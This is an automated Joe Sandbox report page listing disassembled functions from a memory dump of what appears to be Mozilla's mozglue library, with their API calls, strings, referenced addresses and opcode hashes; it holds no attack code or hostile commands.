Opcode ID: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction ID: c3e41984229f65c2e12faebc33cc77faa15620809dcb03e8495ffb1db82217d9
Opcode Fuzzy Hash: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction Fuzzy Hash: CB62AC7150D3458FD709CE29C89076EBBF2AF86358F184A1DE4F54BA91D3359886CF82

Function 6C66545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C668A4B

Strings

~q_l, xrefs: 6C665740, 6C66921F, 6C669269, 6C669459, 6C665703, 6C6656C7, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c61bb01ac86666256532f3361b5c281806fa5165e840756b6009ada1eef9ecef
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 6FB11C72E0021ACFCB14CF69CC917D8B7B6EF85314F1402A9C949EBB91D730A985CB95

Function 6C66542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C66925C

Strings

~q_l, xrefs: 6C665740, 6C66921F, 6C669269, 6C669459, 6C665703, 6C6656C7, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5e522bed8f881c606318742a025a5d8748405c014b9871b720017804aaf6b22d
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FFB1D672E0420ACFCB14CF69CC816EDB7B6EF85314F140269C949EBB95D730A989CB95

Function 6C65C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65C0E9), ref: 6C65C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C65C437
FreeLibrary.KERNEL32(?,6C65C0E9), ref: 6C65C44C

Strings

ntdll.dll, xrefs: 6C65C413
NtQueryVirtualMemory, xrefs: 6C65C431

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction ID: b45cf901aa6028a11bb373027968ebf37a38dbb4bc465c0330fbafb43b71e71b
Opcode Fuzzy Hash: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction Fuzzy Hash: 1AE09A70705321ABDB0A6BB3C988F117AF8A74A344F144915EA1591710EBB0C0118B7E

Function 6C609F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C60AB22
9, xrefs: 6C60A5D6
0, xrefs: 6C60A100
' , xrefs: 6C60A3D8
@, xrefs: 6C60A625
1, xrefs: 6C60A824

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction ID: 14adb65e53cb48a89f52f1975f288bca54ba52f16e99503cecf05c0c2a4ae62c
Opcode Fuzzy Hash: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction Fuzzy Hash: 5382D431B093158BD719CF15C2402AEB7F2FB817C8F558A2DE8D567A92D3349886CB4A

Function 6C5FBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5FC1CB
__aulldiv.LIBCMT ref: 6C5FC24C
__aulldiv.LIBCMT ref: 6C5FC348
__aullrem.LIBCMT ref: 6C5FC365
__aulldiv.LIBCMT ref: 6C5FC37D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2886bcd035435660ebb9fbcb8d55ebd45703054531a45fb79504f30c725de167
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F2320432B046119FC718DE2CC890A5ABBE6AFC9350F09867DE4A5CB395D734ED06CB91

Function 6C6477A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C647A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C647A93

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C647AA1

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C647B31

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction ID: 09aae859e39622b360c94cad5fbf31c672e6266ce76ef8cd931cf24359b9f0d6
Opcode Fuzzy Hash: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction Fuzzy Hash: EEB16E356083818BDB14CF25C4506AFB7E2BFC5318F15CA1CE99567B91DB70E90ACB8A

Function 6C618850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6197EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C619813, 6C61985D, 6C619878, 6C619CEB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction ID: c14ccfab1a14d333065058ef2d803abe12eae0992fc27e899ccacf2d31286fc7
Opcode Fuzzy Hash: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction Fuzzy Hash: FAD28C71A096018FD708CF1DC590755BBE1BF85329F29C76DE86A8BBA5C731E841CB88

Function 6C636CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C636D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636E1E

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction ID: e465af25b941b9815e36e65f3dc58891aa69ffc2140c6feb096bc942eafed9ee
Opcode Fuzzy Hash: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction Fuzzy Hash: F0A18D706183908FD715CF25C4807AEFBE2BF89308F54991DE88A87751DB70E849CB9A

Function 6C65B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C65B720
RtlNtStatusToDosError.NTDLL ref: 6C65B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,6C640BA4,00000000,?,0000001C,?,?,00000000,?,6C638E44,?,00000000,?,6C640BA4), ref: 6C65B760

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction ID: 284fdc6ecea63b605d4a2977d4a53bc1ea2261cf2135d9ef2ff1d292f9b93b6a
Opcode Fuzzy Hash: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction Fuzzy Hash: ABF0A47090020CAEDF019AA1CC84BDEB7BC9B44319F605169D512619C0D774959CCB6D

Function 6C614640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C614777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C615585, 6C6155A8, 6C6155C3, 6C615624

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction ID: 799167270a878fbc5e272a9198eb9735479aa201f98f3617f48b43d61b007c58
Opcode Fuzzy Hash: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction Fuzzy Hash: A7B28E71A196018FC308CF1DC590725FBE2BFC5329B29C76DE4698BAA5D771E841CB88

Function 6C6585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C658C7C
__aulldiv.LIBCMT ref: 6C658DD7

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 445903b6f88341094328aafa7c693a32263cec800cabcdb5bd7cac448c739737
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 3E329371F501198BDF18CE9CC4A17AEF7B2FB88300F65813AD446BBBA0D6349D418B95

Function 6C6676E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C667796, 6C667B0B, 6C667E0B, 6C66793C, 6C6679C0, 6C6679FB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c68cd939326917318b2e2f2416a754c99da5f7847f0ac9c05d1f41511c3eb1db
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2B321971E006198FCB14CF99C890AADFBF2FF88308F5481A9C549A7B45D731A986CF95

Function 6C666E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C667C03, 6C667C72, 6C667B0B, 6C667E0B, 6C66793C, 6C6679C0, 6C6679FB

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2275d89115ff11b46aef08566ef7a0b37a6af5834acaeb189e579ac880882343
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5B22F971E002198FCB14CF99C880AADF7F2FF89308F6485A9C549A7B45D731A986CF95

Function 6C635C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,?,?,?), ref: 6C635F06

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction ID: bd0c13d255ab7c0942cf039749476a4f3a8f4d685ab008dfe702240d4d90fabf
Opcode Fuzzy Hash: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction Fuzzy Hash: 9BC1E175D012298BCB04CF95C5906EEBBF2FF8A318F28615DC8596BB40D732A906CF94

Function 6C5FDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction ID: 9be0a039574c0c48d4d74f17fa38fd52817938d3dd947a3e4936aa0c6f0877fb
Opcode Fuzzy Hash: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction Fuzzy Hash: 8842D832A087508BD308CE3DC89075AF3E2BFC9354F154B2DE9A9A7791D774D9428B82

Function 6C620512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 4d77cd1b393ee2fcc2bab5e12bc8b7031151f049d4de9e5199cc5c47f43072ce
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 5A221775E04619CFCB14CF98C890AADF7B2FF89308F548299C54AA7705D735A986CF84

Function 6C66AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
Instruction ID: 777727c9c8a38003e2f4ad1ab3f61e993e5cb4e30fe6ac8ead2a2e3a626fd543
Opcode Fuzzy Hash: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
Instruction Fuzzy Hash: 73F15B716083559FD700CE2AC8903AAB7E2AFC6318F148A2DE5D587F82E774D845C797

Function 6C5FC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 59148e85d92689ed95647a0c31524b2b573815bb28e24b6f14bdb4aa1b92512b
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 6CA1A171F0021A8BDB18CE69C8913AEB7F2AFC9354F188139D925E7785D7346C068F90

Function 6C637710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction ID: 4cd4622ed91e97ac53aab92b8cf98f24934c215dbe185cecf492ecbc05d9a60c
Opcode Fuzzy Hash: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction Fuzzy Hash: F6716D71E01229CFCB08CF99D9905EDBBB2FF89314F24912ED819AB740D731A905CB94

Function 6C63CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default), ref: 6C63CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java), ref: 6C63CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C66FE98), ref: 6C63CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf), ref: 6C63CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio), ref: 6C63CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio), ref: 6C63CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall), ref: 6C63CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C63CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C63CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C63CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C63CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C63CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C63CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C63CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C63CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C63CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C63CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C63CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C63CE06
